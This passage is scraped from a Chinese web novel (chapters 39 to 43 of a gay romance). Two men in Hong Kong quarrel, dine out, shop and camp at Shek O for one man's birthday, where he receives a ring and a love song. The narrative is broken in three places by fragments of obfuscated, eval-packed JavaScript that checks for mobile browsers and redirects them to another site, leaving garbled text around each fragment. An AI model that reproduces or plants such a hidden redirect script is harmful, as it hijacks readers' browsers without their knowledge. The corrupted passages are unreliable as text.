“江扩我|□□|大爷的,你凭什么骂我?”黎念坐在地上一把鼻涕一把泪,从鼻孔窜出一个大鼻涕泡,“你看我像故意的吗?我不也是想让他看看你领奖,我怎么知道你没得奖?上次是他自己打电话来找我的,我怎么知道他会弄到我号码?我就算不给地址他也会找别人要,我怎么知道他会找上我?江扩我操|你|大|爷的你凭什么都怪到老子身上?!” 江扩沉默了。 “起来。”江扩咬牙说。 “不起!”黎念赖在地上不动。 “脏,起来!”江扩喝道。 “不起!”黎念撒泼,“你不给我道歉,我就不起。” “随便你。”江扩转回书桌收拾桌上的纸片碎屑。 黎念见江扩死不道歉,直接跟条癞皮狗似的在地上撒泼打滚,一边发出难听的痛哭声。 江扩忍着不去看地上的癞皮狗,收拾纸屑的时候不经意间瞥到纸屑上面写着的几个字,才猛然发现撕掉的歌词是准备给黎念的生日礼物。心中一惊。 黎念闹了半晌,见窗外出现落霞,干脆趴着欣赏。 “对不起。”书桌那边传来江扩从喉咙里艰难沙哑发出的细微俩字。 黎念慢慢从地上爬起,用打坐的姿势看着江扩,等着下一秒江扩更加真诚的道歉。 “还不起?”江扩问。 “没了?”黎念反问。 “什么没了?”江扩愣了愣。 “道歉。”黎念说。 “没了,”江扩埋头把那张给写给黎念做生日礼物的歌词拼好,打开电脑把歌词打在文档里备份,“今晚请你吃饭,当作安慰。” 黎念终于站起身,装模作样地拍了拍身上的灰尘。 “还有件事。”黎念突然说。 “你别说又给我隐瞒什么了。”江扩看了黎念一眼。 “没,”黎念啧了一声,“吴小姐下午找过我,说这次金曲奖有水分,有新晋词人花钱了。你这首作品不应该是这个成绩。” “说完没有,吃饭去了。”江扩毫不在意金曲奖的水分,毕竟往年也是这么过来的。 40. 第 40 章 俩人站到一条繁华的街上。 江扩垂着头,还在想错过最佳歌词奖的事情。 “吃啥?”黎念的提问打破了沉默。 “牛腩。”江扩脱口而出。 黎念仰起头对着天哀嚎。 “不行吗?牛腩多好吃。”江扩不已为然。 “你是直男吗?”黎念伸出尔康手对准江扩,“情侣约会能不能找点浪漫的地方?况且你这次可是要补偿我的,能不能换个好点的地儿?” “牛腩不够浪漫吗?”江扩反驳。 “说实话我每次去都被那个凶神恶煞的老板吓坏了,”黎念带着哭腔,“我是真不想去了。” “那你到底想吃什么?”江扩问。 “吃牛扒。”黎念笑嘻嘻道。 “去哪吃?”江扩貌似很少吃牛扒。 黎念想起一个牛扒味道不错的西餐厅,很久以前当他在gay吧扬言要找满一百个男朋友的时候,前前前前前前男友带他去吃过。 不过他没敢告诉江扩,怕火上浇油把江扩气走。 “哦,我听说有个不错的西餐厅,在时代广场那边,”黎念竖起一根食指,“听说很好吃。” “太远了。”江扩说。 “不远不远,从这打的士去才二三十分钟呢。”黎念在江扩胳膊蹭蹭撒娇。 江扩很傲娇地拍开黎念贴在他胳膊上的半边脸。 “走。”江扩站到街边伸手拦的士。 黎念终于撒娇成功,小鸟依人般靠在江扩身边。 终于驶过来一辆的士。 黎念所说的西餐厅就在时代广场,香港最著名的购物商场之一。十几年前当黎念还是邋邋遢遢的黎大福那会,他姐黎徊曾经在这当过服务员。 已经好久没来这里了,黎念决定吃完牛扒好好让江扩陪他逛一下商场,顺便死缠烂打让江扩给他买件衣服。 毕竟这次是江扩是为了补偿,大概率不会拒绝。 黎念所说的西餐厅在最顶楼,装修文艺,灯光颜色柔和浪漫。音响放着一首女声慵懒沙哑的法语歌谣《L''amour》。 进了西餐厅,一位菲律宾籍的服务员把两人带到一张方形桌。 餐厅人不算少,但都很安静,各自用刀叉细细品尝盘里的牛扒,一边轻声聊天。 菲律宾服务员给两人各自递了一份菜单。 “这份,”黎念指着一个名字,“三成熟。” 江扩点了个一样的,七成熟。点菜全程紧盯着黎念的一举一动,总觉得有点蹊跷。 “这么生的肉,不怕有血水啊?”江扩问。 “不怕,这儿的三成熟好吃。”黎念回答。 “你来过?”江扩看了黎念一眼。 “没啊,”黎念心虚,“听说的。” 不久两道牛扒上桌,黎念心不在焉吃着,江扩一边毫无规律地切牛扒一边目光偷偷瞥向黎念的鼻尖。 “你这刀叉搞错手了。”黎念笑道。 “啊?”江扩愣了愣,这才把两只手的餐具换过来。 黎念刚吃了一半,江扩已经狼吞虎咽把整块牛扒切成大块吃下去。 “吃牛扒要优雅,”黎念无奈,举起刀叉冲江扩晃了晃,“像我这样。” “不都是吃下去,要这么优雅干什么。”江扩呛道。 “你个死直男。”黎念骂道。 “我不是直男。”江扩擦了嘴,一本正经道。 “此直男非彼直男。”黎念啧了一声。 吃完牛扒,江扩作为补偿要付钱请客。 黎念长舒一口气,以为终于瞒过江扩了。 “这位先生卡里冲的3000还没用完呢。”前台工作人员说。 黎念站在旁边一脸尴尬。 “哦?”江扩转头意味深长看着黎念,“那就他付吧。” “屌!”黎念暗骂一声,找到几年前的破卡黑着脸刷了一下。 出了西餐厅,江扩一直在等黎念解释。黎念垂着头走在后面一声不吭。 “来过?”江扩慢下脚步跟黎念并肩。 “嗯。”黎念脸色委屈。 “跟谁?”江扩又问。 “前前不知道哪个男友。”黎念闷闷不乐。 “你请的?”江扩笑了一声。 “是!”黎念抬眸委屈巴巴跟江扩对视。 “我没生气。”江扩说。 “真的?”黎念小心翼翼问道。 “多久的事了,”江扩说,“而且你那么多前男友,遇上这种事又不是一次两次,我这个第十二个男朋友都习惯了。” “好。”黎念的委屈终于消了点。 两人靠在玻璃栏杆上欣赏诺大又繁华的时代广场,各种肤色的顾客人来人往。 “饱了吧,”江扩说,“饱了回家。” “不行!”黎念急了,“说好今天你要补偿我,这饭是我请的,补偿可不能就这么算了。” “那你想干什么?”江扩叹了口气。 “你给我买件衣服,就当补偿。”黎念笑眯眯道。 “好。”江扩答应了。 黎念也很久没有买衣服了,家里那些gay里gay气的精致男装早就穿烦了,最近正好寻思着买件新衣服,迷死他的好大哥。 经过一家潮男服装店,黎念被里面的各种gay里gay气的衣服吸引,双眼放光拉着江扩走进去。 服装店老板是个香港本地人,而且目测应该是跟黎念同个型号的。 “哈喽欢迎光临,想找点什么衫穿?”老板站起身。 “无袖牛仔吧,有哪些款?”黎念一下就对离门口较近的那几件牛仔来了兴趣。 服装店很窄,仅仅三个人站里面就觉得有点挤了。江扩皱着眉出了服装店,靠在玻璃栏杆上看黎念挑衣服。 目光不经意间瞥向楼下一家金银首饰店,江扩想起上次自己偷偷去过。 “是男朋友吗?”老板笑问。 “是。”黎念一边挑衣服一边回答。 “好似straight喔。”老板说。 “他的脑子更直。”黎念悄悄说江扩的坏话。 “你是没见过我家那位,更像。”老板也唠起来。 黎念拿了几件gay里gay气的男装进了窄死人的试衣间,每试一件就出来展示给江扩看。 “怎么样?”黎念转了个圈。 “可以。”江扩点头。 第二件穿上后黎念又出来。 “怎么样?”黎念问。 “好看。”江扩点头。 第三件,第四件都是这样。 “到底是好看还是不好看,你不会说吗?”黎念不耐烦了。 “我怎么知道,”江扩白了一眼,“我就觉得都好看。” “那到底哪一件最适合我?”黎念无奈。 江扩悠悠走了进来,指着黎念试过的那堆衣服。 “全买。”江扩脸上挂着礼貌的微笑对老板说。 黎念顿时目瞪口呆。 “穿不完的。”黎念强压住内心的激动。 “一天穿一件,怎么会穿不完?”江扩掏出包里的卡。 “那我就恭敬不如从命。”黎念喜滋滋道。 老板咂舌,一边帮忙把所有衣服折好塞进几个纸袋里,合计总共有五六个。 出了服装店,黎念手里多了几个大服装袋。 “我提。”江扩把手伸过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722020|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不行,你破费了,我提。”黎念推开江扩的手,江扩还硬生生把服装袋全揽过来。 “怎么出了这里感觉你变成暖男了?”黎念笑嘻嘻问。 “是谁刚刚跟老板说我的脑子也是直的。”江扩若无其事道。 “你偷听?”黎念霎时脸红透。 “没有,你们本来就很大声。”江扩哼了一声。 “这些衣服可比我们吃牛扒贵多了,”黎念说,“这几天咱们都得吃公仔面。” “谁说的?”江扩一手拍了拍自己的钱包,“钱多的是。” “就当生日礼物吧。”黎念说,“我不是快生日了?” “不行。”江扩说。 “为啥?”黎念不解。 “生日礼物我另有安排。”江扩回答。 “是啥?”黎念好奇了。 “不告诉你。”江扩开始装神秘。 “你大爷。”黎念骂道。 “退了。”江扩头也不回地说。 “什么退了?”黎念急问道。 “衣服,”江扩微微侧着脸,“我给你买衣服你还骂我,衣服退了。” “不退。”黎念抢过几袋衣服跑远了。 江扩最终还是抢回服装袋,带黎念回了家。 连续几天黎念没日没夜在猜江扩这个直男今年会送什么生日礼物,成天问问问。就连在床上do的时候还要贴在耳边疯狂问这问那。 江扩不耐烦了,连续好几次差点直接把藏着的礼物翻出来扔到黎念脸上。 黎念有时候撬不开江扩的嘴,便想个法子换话题,寻思着能让江扩上当露馅。 “你说我生日那天,行程要怎么安排?”黎念凑到聚精会神查资料写歌词的江扩耳旁问。 “你先说说你的想法。”江扩头也不抬回答道。 “早上去中环东方文华酒店给哥哥献花。”黎念思索片刻,道。 江扩这才想起黎念生日正好是愚人节,也是张国荣哥哥的忌日。零三年愚人节,张国荣哥哥从中环东方文华酒店顶楼一跃而下,一名对影视和音乐都作出伟大贡献的国际巨星就此陨落。 黎念作为一名忠实粉,去献献花送送卡片儿表心意也是正常的。 但由于他从小受老家潮汕文化熏陶,总觉得生日当天去给已故的人送花不太吉利。不过既然黎念愿意,他还是会陪他去做。 “可以。”江扩点头,“下午呢?” “下午我们去浅水湾搭帐篷野营过夜,在那吃蛋糕,看日落,顺便进帐篷......”黎念盯着江扩痴痴发笑。 “去不了,”江扩没有理会黎念的一脸色眯眯,“香港政府不是管的严吗?浅水湾不允许搭帐篷。” “哪去哪?”黎念长叹一口气,“我就想搭帐篷野营嘛。” “谁不知道你脑子那点心思。”江扩哼了一声。 “问江收。”黎念拿出手机从Whatsapp里找到江收的聊天框,给江收发了条大概意思为香港哪个海滩允许搭帐篷的消息,“我就不信香港找不到一个地方搭帐篷。” 过了很久,江收才发来几条消息。 ——石澳,西贡同埋深涌。 ——度蜜月去了? ——推荐石澳,我去野营过,个人感觉不错。 “那就去石澳吧。”黎念给江收道谢后,放下手机笑眯眯道。 生日行程确定下来后,距离黎念的生日仅剩五天。这几天黎念的新书出版,短短几天就成畅销耽美小说。江扩的新歌词也卖到一笔可观的版权费。 终于等到黎念生日前一天。江扩提前买好两束花,回了家。 此刻似乎连柜里锁着的生日礼物都在蠢蠢欲动想炸开抽屉蹦出来。 41. 第 41 章 黎念还坐在沙发疯狂码字,见江扩捧了两束花回家,一时反应不过来。 “怎么两束?”黎念愣愣问。 “你不是想去看偶像嘛,”江扩把两束花放到茶几上,“一束帮你买的,明天献花就不用又跑一趟了。” “哇你好贴心啊,”黎念凑过去把袋里几张空白卡片拿起来,啧啧称赞,“连卡片都买了,真不愧是我的男朋友。” “第十二个男朋友。”江扩嘴欠。 “不,”黎念突然认真起来,“其实我们中学刚认识那几年,我一直都有恋爱的感觉,所以其实对我来说,你是我的初恋。” “是吗?”江扩偷偷乐了。 “嗯。”黎念点头,猛地伸手把江扩的身体搂过来。 江扩回过神来的时候,已经整个人压在黎念身上,舌与舌纠缠在一起。沙发深陷。 “怎么这么突然?”江扩一边接吻一边口齿不清问道。 “我太开心了。”黎念把电脑包里藏着的套摸出来。 其实仔细想想这几年每次到双方生日的前几天,都会不受控制地做他个昏天黑地腰酸背疼。大概是因为太兴奋了。 晚上睡觉前,黎念又情不自禁把江扩拖到到床上。 “太频繁不行,”江扩推开黎念,“小心那不舒服。” “行儿,”黎念再次扑上去咬了一下江扩的唇瓣,“那就让我反攻一次,诶,咱俩互攻多好。” “你想得美!”江扩愠道。 “上我,被上,”黎念歪了歪头,“两个选一个。” 江扩为了迁就寿星,最后还是选了第一个。 这一干就直接干到十二点过。十二点钟声响起的时候已经到了戏末,此刻江扩正咬着黎念的耳朵说些不知羞耻的肉麻话。 “怎么平常没见你说这些呢,非要等床上说。”黎念笑道。 “我怕羞。”江扩一本正经道。 黎念笑了一声,目光看向旁边的手机,正好零时。 “我是两点出生的,这会估计我妈在用力了。”黎念说。 “生日快乐。”江扩低下头和黎念的鼻尖蹭了蹭。 “谢谢老公。”黎念勾着江扩的脖子甜滋滋地说,“礼物呢?” “现在想看?”江扩问。 “当然。”黎念点头。 “我准备三件,”江扩穿好睡衣跳下床,把专属抽屉的钥匙拿出来开,“一件能让你看,另外两件要等晚上我们去石澳野营了再看。” 这个抽屉在每年黎念生日那天都会蹦出让人意想不到的惊喜,可以说是江扩藏礼物的秘密基地。为了保持神秘感,江扩一直没给黎念钥匙。 “好。”黎念从床上坐直,拭目以待。 江扩最后从里面掏出一个全新的某联名机械键盘,打开包装盒放到黎念膝盖上。 “键盘?”黎念眼前一亮。 “码字可以用,能蓝牙无线连接电脑和手机,轴体声音麻将音,很好听,”江扩帮忙打开塑料盖,“我看你那个都很旧了,还有一两个键失灵,就买了一个当作生日礼物。” “嗯。”黎念用手敲了几下键盘,良久轻轻吸了吸鼻子。 “喜欢不。”江扩问。 “喜欢,”黎念哽咽,“大哥,我真的好感动!” “不要连续几年都是这句话好不好。”江扩不耐烦,扯给黎念几张纸巾。 “但是我就是好感动!”黎念接过纸巾在脸上擦拭,“这又不是小说,我就不能说点现实直接的话了?” 江扩被逗笑了,甩下拖鞋爬到床上,“快睡吧,明天早还要去中环呢。” “另外两个生日礼物是什么?”黎念把新键盘放到枕头旁边问。 “不告诉你。”江扩翻了个身,正等着黎念过去搂他。 “嘁。”黎念凑过去搂住江扩的背,俩人汤勺式入睡。 隔天江扩把刚买的野营必需品搬到门边,便去催黎念起床了。 “怎么这么早?”黎念慢腾腾睁开眼。 “今天是哥哥忌日,早上应该有很多人来献花,”江扩说,“晚点应该很挤。” “哦。”黎念这才想起昨晚忘记写卡片了。 一通手忙脚乱在卡片上写满哀悼和祈祷语后,黎念把卡片订在一束花上面,整理整理。 “不是这束。”江扩把歌词藏在兜里出来后,见黎念把卡片订错在藏了戒指的花束上,只好扶额过去把卡片拆下来。 “这不都一样嘛。”黎念一头雾水。 “不一样,”江扩埋头重新整理卡片,又随便编了个理由,“花有点不同,这束才是你的。” “哪不一样?”黎念追问。 “问那么多干什么?”江扩不耐烦地牵住黎念的手匆匆出了门。 在中环街头的早餐店简单吃完早餐,两人便出发去干诺道东方文华酒店。 此刻虽然时间才八九点,文华酒店早就被人海和花海团团簇拥。张国荣各种肤色的粉丝都从世界各地千里迢迢赶来,抱着礼物热泪盈眶。 地上摆满花束,似乎没有空间放更多的。黎念只好跟其他人一样把花放到其他花束上面。 白玫瑰花的卡片上写着黎念字迹清秀内容简单的繁体字。 “风继续吹,不忍远离~ 哥哥,您的粉丝Michael黎念纪念您。” 附近交通秩序瘫痪,只能派来交警维持秩序。尽管如此还是挡不住荣迷们炽热的心。 死亡不是终点,被遗忘才是。原来是真的。 “江扩。”黎念垂头看着那些花,突然叫江扩。 “什么?”江扩也在发愣。 “我要是有一天死掉了,你会怎么办?”黎念垂眸,冲那些花簇慢慢眨了眨眼。 “你不会死。”江扩皱眉,“生日不要说这种不吉利的话。” “如果。”黎念强调。 “那我就重新找个男朋友,气活你。”江扩说。 “你敢!”黎念急了。 “所以说你要好好活着,不能死,”江扩用余光观察黎念一眼,“不然我什么事都做得出来,我会疯掉。” “嗯。”黎念轻声应道。 人群越来越挤,黎念在花前双手合十简单祈祷片刻后,和江扩牵手离开。 此刻一个潮汕女孩和几个朋友来香港游玩,刚过海关便对着满是的士的街头哀叹抹汗。 搭帐篷的工具都在家里,两人只好启程回家搬工具,顺便给大福添点狗粮。 出来时,江扩身后背着黑色大背包,黎念提着大袋小袋。 “我说到底啥时候买车啊。”黎念哀嚎。 “快了。”江扩伸手拦住一辆的士。 快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722021|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到中午饭点时,车终于到了石澳的野营地。 进去后,江扩在一块空地上搭帐篷。 “好饿啊。”黎念拉出一张椅子,坐在一旁翻布袋里的零食。 “快来帮忙。”江扩站在帐篷架前喊道。 “我找吃的。”黎念从袋里翻出一包饼干,顺便给江扩拿几颗油柑。 不经意间掉出一罐东西,黎念捡起来一看。 “我说。”黎念转头对江扩说。 “啊?”江扩没回头,继续整理帐篷架。 “你带狗饼干干啥?吃吗?”黎念无奈,朝江扩晃了晃手里的狗饼干。 “啊?”江扩愣了几秒,“我拿错了,给你吃吧。” “草,”黎念骂骂咧咧把狗饼干塞回布袋,“给你吃差不多。” “快帮忙!”江扩对着一堆零件焦头烂额。 黎念慢腾腾吃完一包饼干,才把油柑揣进裤袋走过去。掏了一颗给江扩。 江扩接过油柑扔进嘴里,继续和黎念捣鼓帐篷。 由于第一次搭,两人毫无经验。一个多钟头后才搭好一个颤颤巍巍仿佛下一秒就要崩塌的帐篷。 “你确定这能住人?”黎念抹了一把汗。 “不是按教程搭的吗?还能错?”江扩也累了,靠在树旁休息。 “这要是晚上我们闹太用力,说不定就塌了。”黎念痴痴一笑。 “那就不闹。”江扩戴上鸭舌帽,起身准备去给黎念订个生日蛋糕。 “不行,必须闹,”黎念跟上来,“这么喜庆的日子,不闹怎么行。” “我迟早被你弄肾虚。”江扩叹了口气。 “东西带齐了吗?”黎念笑嘻嘻问。 “带了。”江扩瞬间理解黎念口中的“东西”是什么玩意儿,又叹了口气。 在石澳海滩附近找不到任何一家蛋糕店,江扩只好把黎念留在海滩照看东西和帐篷,自己搭的士去远点的地方找蛋糕。 黎念独自待在海滩无所事事,干脆翻了点薯片饼干和可乐躲进帐篷偷吃。 感觉闷了又爬出来坐在折叠椅上抽了根白万宝路。摸了摸肚子,还是有点饿。 快一个钟过去,江扩终于提着俩饭盒回来。虽然是四月初,阳光已经足够把一个成年人逼到树荫下大汗淋漓。 “炒米粉。”江扩把其中一个饭盒拿给黎念。 午后的海滩越来越多人出现,大大小小的帐篷被支起。黎念跟江扩靠在树荫下吃炒米粉,嘈杂的人声被双耳自动屏蔽,听到的更多是海浪的哗啦巨响。 “蛋糕我订好了,今晚七点过就可以拿。”江扩说。 “礼物呢?”黎念嘴里鼓鼓的还在嚼,“不是说还有两件吗?” “今晚揭晓。”江扩回答。 吃完炒米粉收拾好垃圾后,黎念又依偎在江扩肩膀上对着海浪发呆。 江扩兜里的手机突然响起铃声。江扩拿出手机看见一排陌生号码,皱眉直接挂了。 “谁啊?”黎念微微抬起头。 “陌生号码。”江扩回答。 “说不定真是找你的呢,怎么不接。”黎念打了个哈欠。 “谁知道是不是江广荣,”江扩抿了抿嘴,“不接。” 那串号码只打过来一次,江扩心想大概是哪个打错的。不接也罢,正好跟黎念能清静清静。 42. 第 42 章 日落,也快到晚饭时间。 黎念不知道什么时候从电脑包里拿出笔记本电脑,此刻码字码的正欢。 “敬业。”江扩坐在旁边随口夸了一句。 “海边灵感来的快。”黎念说。 “这是你的第几本小说?”江扩凑过去看电脑屏幕。 黎念说,“你指的是写的,还是出版的?” “出版的。”江扩说。 “六本。”黎念回答,继续疯狂码字。 “那写的呢?”江扩又问。 “也是六本。”黎念笑嘻嘻回答。 “当自己周某人呢。”江扩翻了个白眼。 黎念笑完了,肚子传来一声咕噜响。 “今晚吃啥?”黎念问。 “牛扒,”江扩朝海滩边上一栋建筑抬了抬下巴,“那边有一家西餐厅,挺出名的。” “又吃牛扒。”黎念嘟囔道。 “你说浪漫的。”江扩无奈,“不然吃肠粉。” 黎念最后还是选了第一个,收拾完海滩上的东西便一起去了。 西餐厅是露天,在走廊看得见海滩,也能隐隐约约看见俩人搭的帐篷。黄昏时海滩的人越来越少,到最后只剩下看夜海和野营的。 江扩让黎念选了个合适的位置,最后两人到能看见整片海滩的餐桌坐下。 点完两道牛扒,黎念起身到对面江扩身边重新坐下。 “坐我这,等会牛扒上来油就喷你一脸。”江扩嘴里不情愿,心里还是暖洋洋的。 “你保护我。”黎念说。 “你长大了,要学会自己保护自己。”江扩说罢往黎念那边挪近了点。 黎念早就习惯江扩的口是心非,整个人趴在江扩胳膊上蹭蹭。 牛扒上来的时候并没有江扩所说的油溅一脸,服务员端了俩用瓷盘装着的现成牛扒过来就走了。 为了留点肚子吃蛋糕,江扩没有点其他的小吃。只点了两杯冻柠茶。 这一点牛扒明显不够黎念吃的,自己那份牛扒吃完不够,还要去扒拉江扩的。 “蛋糕。”江扩提醒。 “对嘛,”黎念又戳了一块过来,“待会有蛋糕,你不用吃那么多牛扒。” “你多久没去健身房了?”江扩挡住黎念的嘴,“这样吃保证你吃成猪。” “明天就去。”黎念不听,继续戳两块江扩盘里的牛扒大吃特吃。江扩吃了一半没办法,只好由黎念瞎闹腾。毕竟谁叫人家是寿星呢。 黎念吃饱喝足打了声饱嗝,江扩还没啥饱意。起身结了帐便去给黎念拿蛋糕。 回了海滩,黎念对着海浪点了根白万宝路。半个小时后江扩出现,手里拎着个蛋糕。 “这么大。”黎念感叹。 “你吃不完,我可吃的完。”江扩没好气道,把蛋糕重重放到折叠椅上。 “礼物呢?”黎念问。 “你猜。”江扩坐到黎念身边,点了根烟缓缓抽着。 “不猜,反正迟早会出现。”黎念笑道。 “哼。”江扩吐出一口烟。 “大哥,你还记得当年我们在海边给你过生日的事吗?”黎念望着黑漆漆的天际,突然问道。 “记得,你唱生日歌,可难听了,”江扩笑了一声,紧接着清了清嗓子模仿黎念唱歌严重跑调的样子,“祝你生~日快乐~祝你生~日快乐~” “草,”黎念黑着脸推了江扩一下,“我唱歌有这么难听?” “有!”江扩狠狠点头。 “现在我不会了。”黎念说。 “知道~”江扩拉长声音阴阳怪气,“想当年你为了吸引gay吧帅哥注意,背地里不知道偷偷学了多久唱歌呢。” “我那是单纯兴趣爱好。”黎念推了江扩一把。 “我不知道你那点心思。”江扩哼道。 “懒得跟你说。”黎念气鼓鼓地点了根烟。 坐到江扩肚子咕噜一声,才想起晾在一旁的蛋糕。 半晌两人终于转移阵地,提着蛋糕跳到一块大岩石坐下。 “诶你不是还有礼物没给嘛,”黎念一边打开蛋糕盒一边问,“哪呢?” “都在这了。”江扩把藏在背后的花拿出来。 “这就是你说的其他礼物?”黎念无奈。 “着急什么。”江扩低头给蛋糕插上蜡烛。 在潮汕文化的熏陶下,江扩插了八根蜡烛,寓意吉利。 “我廿七了。”黎念提醒。 “八字吉利。”江扩回答。 “那九吧。”黎念思索片刻,道。 江扩抬头一脸一问跟黎念对视良久,黎念回答,“九,长长久久。” “好。”江扩笑了笑,往中间添了一根蜡烛。 远处游轮传来一声冲天轰鸣,此刻西式蛋糕上跳动的烛火像是货轮上熠熠生辉的灯光。 黎念对着烛火发愣。 “许愿。”江扩眼见蜡烛越来越短,忍不住提醒。 “哦。”黎念笑道,双手合拳闭了眼。 “没叫你睁眼,你千万别睁眼。”江扩轻声说。 “嗯。”黎念应。 江扩清了清嗓子,开始给黎念唱生日歌。 “祝你生日快乐,祝你生日快乐,祝你生日快乐......” 黎念仿佛一个虔诚的信徒,没有宗教信仰的他不知道对着天上哪位神仙默念愿望。 一大串愿望默念完,黎念感叹自己应该是许愿最贪婪的那个。不知道上天会不会眷顾他这种贪婪之徒呢。 再次睁眼的时候,江扩手上多了那束玫瑰花。 “仔细看好了。”江扩邪魅一笑。 “我在看。”黎念目不转睛。 江扩把花束轻轻倒过来,不知从花束底部里面哪里掏出一个小巧的戒指盒。 “我|草。”黎念捂住胸口一时悸动。 “生日快乐。”江扩用白话说。 “怎么来的?”黎念又惊又喜。 “这花自己生出来的,”江扩说,“现在你知道我为什么换那束花了吧。” “这,这里面是,是啥?多,多少钱?”黎念说话都开始结巴。 “这么小的盒,你觉得能装啥?”江扩带着笑意反问。 “戒,戒指。”黎念紧张地咽了咽口水。 与此同时,江扩“咔哒”一声,把小巧精致的戒指盒轻轻打开,里面立着一枚镶着几颗小钻的男戒,戒指内圈刻了这对情侣的名字缩写。 “猜对了。”江扩晃了晃戒指盒,钻戒在月下发出一闪一闪的耀眼光芒。 “哪买的?”黎念凝视那枚戒指。 “大福买的。”江扩回答。 “别骗我了,大福一只狗怎么可能。”黎念乐了。 “周啊。”江扩强调。 “哦!”黎念恍然大悟。 江扩凑近去搂住黎念的腰,揉了几下,“要自己戴,还是我给你戴?” “你。”黎念很笃定地道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722022|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江扩笑了一声,捏住黎念的左手轻轻拉到自己身前。 “黎念。”江扩垂头拿出那枚戒指。 “嗯?”黎念歪头。 “看见上面刻着的缩写没有,”江扩抬眸看黎念的脸,“这枚戒指戴了,你知道意味什么?” “我早就是你的人了。”黎念把左手放在江扩拿戒指的手上,轻轻摩挲几下。 “不是,我想说,”江扩攥紧黎念的手腕,“未来日子还很长,或许有很多意外,但不管以后会发生什么,不管有没有走到最后,我都希望你不要忘记我,看到这枚戒指就能想起我的音容笑貌,不管那时我有没有在你身边。” “可以的,”黎念带着笑意,“我们会走到最后,我们的终点就是火葬场,我们还要拜托生人把我们葬在一起。” “好。”江扩本想说生日聊火葬场和埋死人有点不吉利,犹豫片刻还是直接拿起黎念的左手。 那枚小巧的戒指最后滞留在黎念的无名指上。 “你的呢?”黎念问,“这不是情侣戒指吗?” “不是,”江扩挠了挠脑袋,“当时没多少预算,我的还没买,过几天再买,你再给我戴。” “哪有这样的?”黎念气笑了,“这多少钱?” “9999港蚊。”江扩傻笑。 黎念倒吸一口冷气。 “还有一个礼物你记得吗?”江扩说。 “还有?!”黎念故意带着哭腔,“大哥你别再往我身上砸钱了,我我我承受不住啊。” “不,这个礼物能赚钱。”江扩神神秘秘道。 “哈?”黎念挑一边眉。 江扩直接翻出旁边脏兮兮的蛋糕盒,从底部抽出一个红色金边的信封。 “情书啊?”黎念感叹他大哥真是从哪都能变出惊喜来,这信封就算从屁|股缝里掏出来都不足为奇。 “猜对一半。”江扩把信封放到黎念膝盖上。 “打开看看。”江扩揉了揉黎念的脑袋。 “哦!”黎念在确保信封完好无损的情况下打开信封,一张信纸折叠成一半躲在里面。 抽出来打开,黎念从头到尾浏览一遍。 啧,真不愧是G大文学院硕士毕业生。 “歌词,”黎念抬头,“写给我的,歌词。” “准确说是歌词格式的情书。”江扩说。 “我喜欢。”黎念说。 “我曲作好了,想听吗?”江扩笑道。 黎念点头,江扩马上从挎包里掏出个口琴,谱都不看直接闭眼吹。毕竟是自己作的曲,想忘记都难。 口琴悠扬的乐声吸引其他帐篷里的游客,纷纷钻出帐篷偷观望。 “小吴说愿意唱这首歌,很合她胃口。”一首歌吹完,江扩放下口琴说。 “就是唱《别念》那个歌手?”黎念问。 “嗯,争取让这首歌获下一届金曲奖。”江扩点点头。 送完礼物就到俩人吃蛋糕环节,黎念见江扩貌似饿坏了,便把大半块蛋糕切给江扩,自己吃小块的那个。 吃了几口,黎念终于鼻子一酸,几颗豆大的泪水落在蛋糕上。 这眼泪本来在送戒指那会就该流了,只是黎念硬生生憋到现在。 “你生日呢,哭啥?”江扩抬手将黎念脸上残留的泪水拭去。 落泪期间,黎念手机收到黎徊的生日祝福。 ——攻击性极强危险人物爆头大姐大:弟弟生日快乐,姐姐爱你哦(爱心) 43. 第 43 章 以及一条回港消息。 ——攻击性极强危险人物爆头大姐大:我下个星期回去,已在铜锣湾找到到合适的租房。 黎念哭完眼睛都肿了,把江扩整包便携纸巾用完。 “你手机有消息。”江扩低头收拾纸巾团,顺便瞥了一眼黎念亮着的手机屏幕。 黎念吸了吸鼻子,拿起手机。 “我姐快回来了,房子也找好了。”黎念说。 “嗯,好。”江扩应道。 沙滩上的男男女女陆续回了帐篷,整片沙滩只听得见海浪的声音。 “你说那边有树,是不是个岛啊?”黎念指着远处一团乌漆麻黑说,“是不是南丫岛?” “没听说这有岛的。”江扩呆呆望着浪花回答,“南丫岛也不在这。” “南丫岛你去过吗?可好玩了,还能钓鱼。”黎念说。 “你去过?”江扩问。 “嗯,”黎念偷偷瞥了江扩一眼,“很久之前跟我的第N个男朋友去的。” “哼。”江扩翻了个白眼,埋头啃了一大口蛋糕。 “诶要不我们下次一起去呗。”黎念凑过去提议。 “不去,”江扩咽下一口蛋糕,“你都和你第N个前男友去了,我这第十二个男朋友还去干嘛。” “这不一样。”黎念反驳道。 